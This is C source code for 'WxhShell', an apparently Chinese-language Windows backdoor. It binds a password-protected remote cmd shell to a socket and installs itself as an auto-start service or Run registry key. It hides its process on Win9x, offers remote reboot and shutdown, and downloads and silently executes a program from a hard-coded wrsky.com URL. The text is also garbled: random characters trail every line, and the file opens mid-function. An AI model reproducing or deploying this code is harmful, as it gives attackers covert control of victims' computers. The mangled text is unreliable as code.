    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UWnH2  
    else { &A9+%kOk>  
    closesocket(wsh); <Du*Re6g  
    ExitThread(0); VMHY.Rf  
    } 94R+S-|P  
    break; $DVy$)a!u  
    } Yv;aQF"a  
  // 获取shell -lp_~)j^  
  case 's': { [ M'1aBx^  
    CmdShell(wsh); 8sg *qQ  
    closesocket(wsh); wVvU]UT  
    ExitThread(0); HqgH\  
    break; NanU%# &  
  } I|M*yObl6  
  // 退出 >!2'|y^  
  case 'x': { ZQ:Y5 ph  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7-LeJRB  
    CloseIt(wsh); Ac54 VN  
    break; KYQ6U.%W  
    } 8%"e-chd  
  // 离开 V]AL'}( 0  
  case 'q': { '*k\IM{h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C+k>Ajr  
    closesocket(wsh); X*~YCF[_  
    WSACleanup(); s6egd%r  
    exit(1); HI?>]zz|  
    break; {\e}43^9N  
        } 5YCbFk^  
  } jyC6:BNust  
  } $X?V_K;9/  
@|@43}M]C-  
  // 提示信息 t|q=NK/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }>w; +XU  
} d?K8Ygz  
  } ..t=Y#  
8ah]D  
  return; r:IU +3  
} OTm`i>rB  
r3kI'I|bq  
// shell模块句柄 RoTT%c P_  
int CmdShell(SOCKET sock) )t4C*+9<U  
{ phdN9<Z  
STARTUPINFO si; c1^3lgPv  
ZeroMemory(&si,sizeof(si)); p c],H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +D@R'$N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (07d0<<[  
PROCESS_INFORMATION ProcessInfo; " duJl-  
char cmdline[]="cmd"; {x: IsQZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x#^kv)  
  return 0; OrBFe *2y  
} c>g%oE  
W@tLT[}CG  
// 自身启动模式 :-Pj )Y{I  
int StartFromService(void) 8M|Q^VeT,1  
{ ,aJrN!fzU  
typedef struct F)@<ZE  
{ \9p;md`  
  DWORD ExitStatus; 6yb<4@LOb  
  DWORD PebBaseAddress; v^tKT&  
  DWORD AffinityMask; */)gk=x8  
  DWORD BasePriority; U`Zn*O~/  
  ULONG UniqueProcessId; q~3&f  
  ULONG InheritedFromUniqueProcessId; lySaJ d  
}   PROCESS_BASIC_INFORMATION; &<V~s/n=6?  
<'-me09C*  
PROCNTQSIP NtQueryInformationProcess; (0+m&, z  
`g=~u{ 0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *pMA V [^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \a!<^|C&  
H[r0jREK  
  HANDLE             hProcess; lg1D>=(mY  
  PROCESS_BASIC_INFORMATION pbi; S&*pR3,u  
2?j1~]DvZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )B_h"5X4\y  
  if(NULL == hInst ) return 0; zvD5i,I  
f/y K|[g~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >UMnItq(l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }#J}8.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F'I6aE%  
kQ8WO|bA  
  if (!NtQueryInformationProcess) return 0; tpN}9N  
UwU]l17~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UL%ihWq   
  if(!hProcess) return 0; F?B=:8,}  
AqkK`iJ#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fW _.  
wk#QQDV3|0  
  CloseHandle(hProcess); TTpF m~?(  
Vz*'^=(o&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U&R$(k0zS  
if(hProcess==NULL) return 0; @Xmk Im  
67x^{u7  
HMODULE hMod; jH1~Ve+q9  
char procName[255]; :X f3wP=  
unsigned long cbNeeded; R.N*G]K5  
Ox Z:5ps  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &UR/Txnu  
U:r2hqegd  
  CloseHandle(hProcess); OT i3T1&  
BP$#a #  
if(strstr(procName,"services")) return 1; // 以服务启动 "+&<Qd2  
;>N ~ ,Q  
  return 0; // 注册表启动 z3]U% y(,  
} R 28*  
Mk[`HEO  
// 主模块 YqgW8 EM  
int StartWxhshell(LPSTR lpCmdLine) k6BgY|0gC  
{ R`q!~8u  
  SOCKET wsl; Oe`t!&v  
BOOL val=TRUE; \`ReZu$  
  int port=0; ^%pwyY\t  
  struct sockaddr_in door; sLIP |i  
4)I#[&f  
  if(wscfg.ws_autoins) Install(); I.!/R`  
V-jL`(JF%  
port=atoi(lpCmdLine); u#~! %~  
?miM15XI  
if(port<=0) port=wscfg.ws_port; ?M^t4nj  
@k<~`S~|  
  WSADATA data; 3G^Ed)JvE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *.g?y6d  
EB<q.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m{c#cR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -::%9D}P|  
  door.sin_family = AF_INET; G>QTPXcD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sfE8b/Z8  
  door.sin_port = htons(port);  HU9y{H  
(_ah~VnO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .Er/t"Qs;  
closesocket(wsl); '.,.F0{x  
return 1; xQap44KPZ  
} VsEAo  
u(702S4  
  if(listen(wsl,2) == INVALID_SOCKET) { gH3kX<e  
closesocket(wsl); L0tKIpk  
return 1; B_glyC  
} S8m&Rj3O&  
  Wxhshell(wsl); PDng!IQ^  
  WSACleanup(); C&kl*nO  
y>|XpImZ  
return 0; Q%Q?q)x  
3:lp"C51  
} nX%'o`f  
0!`7kZrN  
// 以NT服务方式启动 ~e9INZe-j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /g'-*:a  
{ Y{RB\}f(  
DWORD   status = 0; MXk. 2  
  DWORD   specificError = 0xfffffff; W+e*(W|d6  
TZNgtR{q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N'P,QiR,z<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K-C-+RB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [[h)4H{T  
  serviceStatus.dwWin32ExitCode     = 0; 9X9zIh]JV  
  serviceStatus.dwServiceSpecificExitCode = 0; 3z92Gy5cr  
  serviceStatus.dwCheckPoint       = 0; Eu.qA9,@U  
  serviceStatus.dwWaitHint       = 0; U^BXCu1km  
2_n*u^X:_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3Lki7QW`  
  if (hServiceStatusHandle==0) return; LoE(W|nj  
<Cu?$  
status = GetLastError(); e-3pg?M  
  if (status!=NO_ERROR) O&iYGREO  
{ GD{fXhgk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZM`P~N1?)g  
    serviceStatus.dwCheckPoint       = 0; a9zph2o-  
    serviceStatus.dwWaitHint       = 0; x9A ZS#e)[  
    serviceStatus.dwWin32ExitCode     = status; zN/~a)  
    serviceStatus.dwServiceSpecificExitCode = specificError; (!5}" fj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DN':-PK  
    return; IC.<)I  
  } 9w;J7jgOT!  
vr;Br-8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fi% W\Y'  
  serviceStatus.dwCheckPoint       = 0; ~Z6p3# !o  
  serviceStatus.dwWaitHint       = 0; c_$&Uii  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p[F=LP  
} ^.kAZSgO  
ZQ-`l:G  
// 处理NT服务事件,比如:启动、停止 qbq<O %g=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VfqY_NmgC  
{ a {$k<@Ww  
switch(fdwControl) }_(^/pnk  
{ iz>y u[|  
case SERVICE_CONTROL_STOP: .L5*E(<K0  
  serviceStatus.dwWin32ExitCode = 0; G4%M$LJ h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m4SXH> o  
  serviceStatus.dwCheckPoint   = 0; :#:O(K1PW  
  serviceStatus.dwWaitHint     = 0; pUMB)(<k  
  { 0$ 9;p zr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9'#.>Q>0=j  
  } e$+f~~K  
  return; a05:iFoJ  
case SERVICE_CONTROL_PAUSE: *R\/#Y|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xT?}wF  
  break; _q$LrAT  
case SERVICE_CONTROL_CONTINUE: 6+nMH +[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8<wuH#2<y  
  break; dF11Rj,~ 8  
case SERVICE_CONTROL_INTERROGATE: ^x"c0R^  
  break; <ivqe"m  
}; p/WH#4Xdr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 ]06!7S}  
} u4,X.3V]A  
a$zm/  
// 标准应用程序主函数 N!Wq}#&l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u~- fK'/!|  
{ v7<S F  
Prb_/B Dd  
// 获取操作系统版本 t#pqXY/;D  
OsIsNt=GetOsVer(); eIUuq&(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x #X#V\w=  
A6UdWK  
  // 从命令行安装 a}qse5Fr  
  if(strpbrk(lpCmdLine,"iI")) Install(); M`+e'vdw  
k CW!m  
  // 下载执行文件 gUH'DS]{  
if(wscfg.ws_downexe) { RnA&-\|*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UK~B[=b9  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9p\Hx#^  
} 7hN6IP*so  
Dj ]Hgg  
if(!OsIsNt) { mj~N]cxB  
// 如果时win9x,隐藏进程并且设置为注册表启动 (\mulj  
HideProc(); <% 7P  
StartWxhshell(lpCmdLine); }y-;>i#m=g  
} e8ULf~I  
else Ld}(*-1i  
  if(StartFromService()) Fi?Q 4b  
  // 以服务方式启动 N?=qEX|R  
  StartServiceCtrlDispatcher(DispatchTable); ?dKa;0\  
else uO_,n  
  // 普通方式启动 &ap`}^8pM  
  StartWxhshell(lpCmdLine); vpeBQ=2\  
6a%:zgkOpu  
return 0; -_EY$ ?4  
} )`s;~_ZZ  
I*:qGr+ WJ  
J|"nwY}a9  
x?f0Hk+  
=========================================== Z.aLk4QO@  
0/SC  
L* k hj3;  
BbXU| QtY  
dI_r:xN  
W7TXI~7  
" $h,&b<-  
}c35FM,  
#include <stdio.h> zr3q>]oma  
#include <string.h> VA=#0w  
#include <windows.h> Mm5U`mB  
#include <winsock2.h> ~}$\B^z+  
#include <winsvc.h> q?;*g@t  
#include <urlmon.h> 4/HY[FT  
|6sT,/6  
#pragma comment (lib, "Ws2_32.lib") % UW=:  
#pragma comment (lib, "urlmon.lib") A#Q0{z@H  
Ox7uG{t$#  
#define MAX_USER   100 // 最大客户端连接数 - - i&"  
#define BUF_SOCK   200 // sock buffer 9ra HSzK@d  
#define KEY_BUFF   255 // 输入 buffer ;# R3k  
nIV.9#~&  
#define REBOOT     0   // 重启 %="~\1y  
#define SHUTDOWN   1   // 关机 5Cc6 , ]  
Dm|gSv8d,  
#define DEF_PORT   5000 // 监听端口 y$j1?7  
<ELziE~>V  
#define REG_LEN     16   // 注册表键长度 BcZEa^^~os  
#define SVC_LEN     80   // NT服务名长度 42Aje  
TV1e bH7q  
// 从dll定义API d s|8lz,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?jNF6z*M6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w69>tC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wGOMUWAt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FG>;P]mvp  
8^<c,!DM  
// wxhshell配置信息 pAJ=f}",]E  
struct WSCFG { :u >W&D  
  int ws_port;         // 监听端口 9Eq^B9(  
  char ws_passstr[REG_LEN]; // 口令 m\*&2Na  
  int ws_autoins;       // 安装标记, 1=yes 0=no I%;Rn:zl  
  char ws_regname[REG_LEN]; // 注册表键名 o{{:|%m3Q  
  char ws_svcname[REG_LEN]; // 服务名 1-6gB@cvQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;f".'9 l^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }.fL$,7a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E/wQ+rv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U;x1}eFT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B#HnPUUK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $kxu;I  
q3c*<n g#  
}; Yw~;g: =  
",~ b2]ym  
// default Wxhshell configuration ]PR|d\O  
struct WSCFG wscfg={DEF_PORT, o5N]((9  
    "xuhuanlingzhe", 0M#N=%31  
    1, K[Y c<Q  
    "Wxhshell", z3^RUoGU  
    "Wxhshell", 7XUhJN3n  
            "WxhShell Service", VFilF<jvu  
    "Wrsky Windows CmdShell Service", PU^[HC*K  
    "Please Input Your Password: ", W:VW_3  
  1, *C4~}4WT\  
  "http://www.wrsky.com/wxhshell.exe", q?;N7P  
  "Wxhshell.exe" I6K7!+;2  
    }; ,pDp>-vI%  
yD"]{  
// 消息定义模块 s~'9Hv9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f*{M3"$E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <)_:NRjBF&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X!U]`Qh  
char *msg_ws_ext="\n\rExit."; 6PiEa(  
char *msg_ws_end="\n\rQuit."; -/M9 vS  
char *msg_ws_boot="\n\rReboot..."; 9Tzc(yCY  
char *msg_ws_poff="\n\rShutdown..."; a<f;\$h]  
char *msg_ws_down="\n\rSave to "; zo_k\K`{@  
ijvNmn1k  
char *msg_ws_err="\n\rErr!"; r@|R-Binz  
char *msg_ws_ok="\n\rOK!"; T1lXYhAWS  
ISpeV  
char ExeFile[MAX_PATH]; i'M^ez)u  
int nUser = 0; !?BW_vY  
HANDLE handles[MAX_USER];  AGh~8[  
int OsIsNt; 536^PcJlN  
P7}t lHX  
SERVICE_STATUS       serviceStatus; lP}od  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8BHL  
F`fGz)Mk  
// 函数声明 *GCA6X  
int Install(void); d>YmKTk"  
int Uninstall(void); G{ F6  
int DownloadFile(char *sURL, SOCKET wsh); 3sS=?q  
int Boot(int flag); NV&;e[z  
void HideProc(void); U^B"|lc:[  
int GetOsVer(void); K{|w 43>D  
int Wxhshell(SOCKET wsl); $TR=3[j  
void TalkWithClient(void *cs); :L]-'\y  
int CmdShell(SOCKET sock); NU|qX {-  
int StartFromService(void); K1;z Mh  
int StartWxhshell(LPSTR lpCmdLine); J=@hk@Nq#  
1T!cc%ah  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Lqg] Fd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U!x0,sr  
6e,Apj 0  
// 数据结构和表定义 5_v5  
SERVICE_TABLE_ENTRY DispatchTable[] = 3b<: :t  
{ O-i4_YdVt  
{wscfg.ws_svcname, NTServiceMain}, ?x:m;z/  
{NULL, NULL} _i-\mR_~  
}; k& OC&  
$RpF xi  
// 自我安装 \^yXc*C  
int Install(void) D=2~37CzQ1  
{ =nLO?qoe  
  char svExeFile[MAX_PATH]; \.5F](:  
  HKEY key; .H ,pO#{;  
  strcpy(svExeFile,ExeFile); Dp^"J85}   
E yd$fcRK  
// 如果是win9x系统,修改注册表设为自启动 @o`sf-8x  
if(!OsIsNt) { 1JIG+ZNmd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VxNXd?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uH $oGY  
  RegCloseKey(key); ]GcV0&|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kl| g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3 *G5F}7%=  
  RegCloseKey(key); jz|VF,l  
  return 0; Cm^Yl p  
    } 2>g^4(  
  } ]Fxku<z7|  
} HHZ`%  
else { B i'd5B5  
{&E?<D2_&  
// 如果是NT以上系统,安装为系统服务 wc"9A~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  "";=DH  
if (schSCManager!=0) J)_>%.  
{ wqcDAO (  
  SC_HANDLE schService = CreateService Ys-^7 y_  
  ( -jFP7tEv  
  schSCManager, $Ru&>D#stK  
  wscfg.ws_svcname, J l\'V  
  wscfg.ws_svcdisp, g- XKP  
  SERVICE_ALL_ACCESS, N5yJ'i~,M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >A<Df  
  SERVICE_AUTO_START, *E.LP1xP  
  SERVICE_ERROR_NORMAL,  +.=1^+a  
  svExeFile, ;;M"hI3@  
  NULL, ]7*kWc2  
  NULL, ;3mL^  
  NULL, Is ot4HLM  
  NULL, Ha?G=X  
  NULL lHcA j{6  
  ); C(}^fJ6r  
  if (schService!=0) ka/nQ~_#<  
  { emA.{cVr!  
  CloseServiceHandle(schService); k j-=xhJ{=  
  CloseServiceHandle(schSCManager); Mw+v"l&mU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _FT6]I0  
  strcat(svExeFile,wscfg.ws_svcname); >d#3|;RY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5lGQ#r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7"#f!.E  
  RegCloseKey(key); d)\2U{  
  return 0; |88CBiu}  
    } uj)yk*  
  } d bCNhbN(  
  CloseServiceHandle(schSCManager); Oc#>QZ3  
} w\Iqzpikr  
} vf[&7n  
\Y+")  
return 1; w=|py>%  
} wE?CvL  
7N| AA^I  
// 自我卸载 B@"J]S  
int Uninstall(void) )J&|\m(e  
{ a#$N%=j  
  HKEY key; qIz}$%!A  
mf$Sa58  
if(!OsIsNt) { g &*mozs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CG.,/]_  
  RegDeleteValue(key,wscfg.ws_regname); pcnl0o~  
  RegCloseKey(key); _H8*ReFG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zb"jB$58  
  RegDeleteValue(key,wscfg.ws_regname); 0iV;g`%  
  RegCloseKey(key); Yh$fQ:yi\&  
  return 0; drI\iae{^  
  } 9)Ly}Kzx  
} R#ya,L  
} TU%bOAKF\  
else { "T7>)fbu  
zSKKr?{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GB =bG%Tb  
if (schSCManager!=0) bJwc1AJgH  
{ `0rRKlbj4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L:pUvcAc?  
  if (schService!=0) O>%$q8x@i  
  { m<3w^mww  
  if(DeleteService(schService)!=0) { x)_r@l`$ix  
  CloseServiceHandle(schService); NJm-%K  
  CloseServiceHandle(schSCManager); ioWo ]  
  return 0; l~ D\;F  
  } z+ ZG1\  
  CloseServiceHandle(schService); Lc%xc`n8B  
  } e^8BV;+c  
  CloseServiceHandle(schSCManager); n+rM"Gxz  
} 'BhwNuW\"  
} @D]lgq[  
<aXoB*Y  
return 1; C `6S}f,  
} Mb.4J2F?  
H{%H^t>  
// 从指定url下载文件 T pD;  
int DownloadFile(char *sURL, SOCKET wsh) *{|$FQnR>(  
{ $ser+Jt=  
  HRESULT hr; ceG&,a$\  
char seps[]= "/"; A? r^V2+j  
char *token; 'g hys1H  
char *file; VX!hv`E  
char myURL[MAX_PATH]; SO_>c+Dw  
char myFILE[MAX_PATH]; s4bv;W  
5z Kqb  
strcpy(myURL,sURL); [,b)YjO~Xd  
  token=strtok(myURL,seps); QZ~0o7  
  while(token!=NULL) 03_pwB)^  
  { mf9hFy* <4  
    file=token; Mg\TH./Y:  
  token=strtok(NULL,seps); *VDVC0R  
  } )NIv  "Q  
iD714+N(  
GetCurrentDirectory(MAX_PATH,myFILE); ]-bQNYKX  
strcat(myFILE, "\\"); (;ADW+.`J  
strcat(myFILE, file); M)O [j}N  
  send(wsh,myFILE,strlen(myFILE),0); 96}eR,  
send(wsh,"...",3,0); 1qZG`Vz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >pdnCv_c  
  if(hr==S_OK) O:YJ%;w  
return 0; !}t-j3bCs  
else V%51k{  
return 1; r]T0+oQ>  
T,OS0;7O  
} ]]PE#DDg  
\z:<DsQ&  
// 系统电源模块 CN\=9Rvs  
int Boot(int flag) yb?|Eww_o  
{ l'uOORI  
  HANDLE hToken; $8g42LR'  
  TOKEN_PRIVILEGES tkp; `tVy_/3(9  
UP8{5fx'  
  if(OsIsNt) { U=QA  e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w & P&7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]\dHU.i  
    tkp.PrivilegeCount = 1; NzlAC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ao"C<.gUYP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2y%R:Mu  
if(flag==REBOOT) { BIj   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c\K<sM{  
  return 0; $>r5>6  
} :)4*^a/lC  
else { U&W"Ea=R/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `0@z"D5c  
  return 0; YlKFw|=  
} Y.-S=Y   
  } T5e^J"   
  else { W;TJenv  
if(flag==REBOOT) { H1&RI4XC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?1w"IjUS  
  return 0; a g;dc  
} FN\GE\H  
else { pkk4h2Ah  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "dtlME{Bx  
  return 0; fRNP#pi0u  
} |}Ph"g2D,  
} &,MFB  
m\-PU z&C  
return 1; -_>.f(1  
} moG~S]  
!\x?R6K  
// win9x进程隐藏模块 "~\*If  
void HideProc(void) m&/=&S  
{ ~kb{K;  
Uk'U?9O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vpLMhf`  
  if ( hKernel != NULL ) 1`l;xw1W  
  { D#0O[F@l##  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h<NRE0-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8 Z8Y[p  
    FreeLibrary(hKernel); e=>% ^F  
  } G~!C =l  
(B}+h   
return; 9g]M4*?C9P  
} fp;a5||5  
bE I!Ja  
// 获取操作系统版本 s MZ[d\  
int GetOsVer(void) mH\@QdF  
{ BS2?!;,8  
  OSVERSIONINFO winfo; Oy$<QXj/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S(t{&+Wc  
  GetVersionEx(&winfo); +tU Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w}`3 d@  
  return 1; hSMV&Cs  
  else {Hk/1KG>  
  return 0; %VJW@S>j/  
} sfI N)jh  
. \F7tc8?  
// 客户端句柄模块 - _t&+5]  
int Wxhshell(SOCKET wsl) RL&lKHA  
{ } 0{B  
  SOCKET wsh; ?\ Q0kr.T%  
  struct sockaddr_in client; k ,fTW^?  
  DWORD myID; i!,HB|wQ  
Ekjf^Uo  
  while(nUser<MAX_USER) ])N%^Qe$U  
{ % wL,v.}  
  int nSize=sizeof(client); . #U}q 7X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0p3vE,pF  
  if(wsh==INVALID_SOCKET) return 1; '{VM> Q  
ea~i-7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d+5:Qrr  
if(handles[nUser]==0) Kz[BB@[  
  closesocket(wsh); #{,h@g}W  
else KY+]RxX  
  nUser++; o0`q#>7!_b  
  } rBfg*r`)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GAp!nix6h  
LdEE+"Jw  
  return 0; #U@| J}a  
} t?3BCm$Mi  
VGZ6  
// 关闭 socket qd(hQsfqYU  
void CloseIt(SOCKET wsh) |M E{gy`5  
{ w1i?# !|  
closesocket(wsh); )eR$:uO  
nUser--; dtTlIhh1V  
ExitThread(0); ~6d5zI4\  
} plXG[1;&G  
jONjt(&N  
// 客户端请求句柄 c[5@ \j\  
void TalkWithClient(void *cs) =l,#iYJP8  
{ q[c Etp28h  
5-w:c>  
  SOCKET wsh=(SOCKET)cs; 9h&yuS'Yj  
  char pwd[SVC_LEN]; |!Ists  
  char cmd[KEY_BUFF]; A.U'Q|  
char chr[1]; fU ={a2  
int i,j; IG|\:Xz  
)U5u" ]9~  
  while (nUser < MAX_USER) { hdj%|~Fj  
MaErx\  
if(wscfg.ws_passstr) { TzrW   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,q</@}.\wN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n7DLJ`ho{  
  //ZeroMemory(pwd,KEY_BUFF); 2AK}D%jfc  
      i=0; #r}uin*jD  
  while(i<SVC_LEN) { =v 0~[ E4  
xb`CdtG2.  
  // 设置超时 S@A<6   
  fd_set FdRead; or.\)(m#(  
  struct timeval TimeOut; __(V C :  
  FD_ZERO(&FdRead); all*P #[X  
  FD_SET(wsh,&FdRead); ]M\q0>HoJ  
  TimeOut.tv_sec=8; iZC`z }  
  TimeOut.tv_usec=0; X6kaL3L}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ImHU:iR[J-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8\_*1h40s  
qTy v.#{y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @C_ =*  
  pwd=chr[0]; 2sun=3qb  
  if(chr[0]==0xd || chr[0]==0xa) { NCDxcz;Gb  
  pwd=0; ^c'f<<z|7r  
  break; $W,zO|-  
  } -'ZxN'*%  
  i++; V16%Ne  
    } 61,O%lV  
6[+j'pW?  
  // 如果是非法用户,关闭 socket PbN3;c3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {AgBwBCE  
} ^A#x<J+  
?*+1~m>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {(0Id!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?(Bl~?zD  
]}~4J.Yn  
while(1) { y@ .b 4  
UR,?!rJ^B  
  ZeroMemory(cmd,KEY_BUFF); PW)8aLU  
' &N20w  
      // 自动支持客户端 telnet标准   Gh iHA9.  
  j=0; nX 8B;*p6b  
  while(j<KEY_BUFF) { g]4y AV<2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |0]YA  
  cmd[j]=chr[0]; dk:xnX%  
  if(chr[0]==0xa || chr[0]==0xd) { rXDJ:NP  
  cmd[j]=0; @ExLh9  
  break; zzE]M}s  
  } b"3uD`  
  j++; k.Gl4 x  
    } oX{@'B  
9 tAE#A  
  // 下载文件 B!iFmkCy  
  if(strstr(cmd,"http://")) { z L8J`W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h[y*CzG  
  if(DownloadFile(cmd,wsh)) e# <4/FR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )w3 ,   
  else D}Au6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QH:>jmC{1h  
  } )*W=GY*  
  else { &t_A0z  
n{$}#NdV  
    switch(cmd[0]) { wA1Ey:q  
  6+ ?wnp-  
  // 帮助 Wt"ww~h`(  
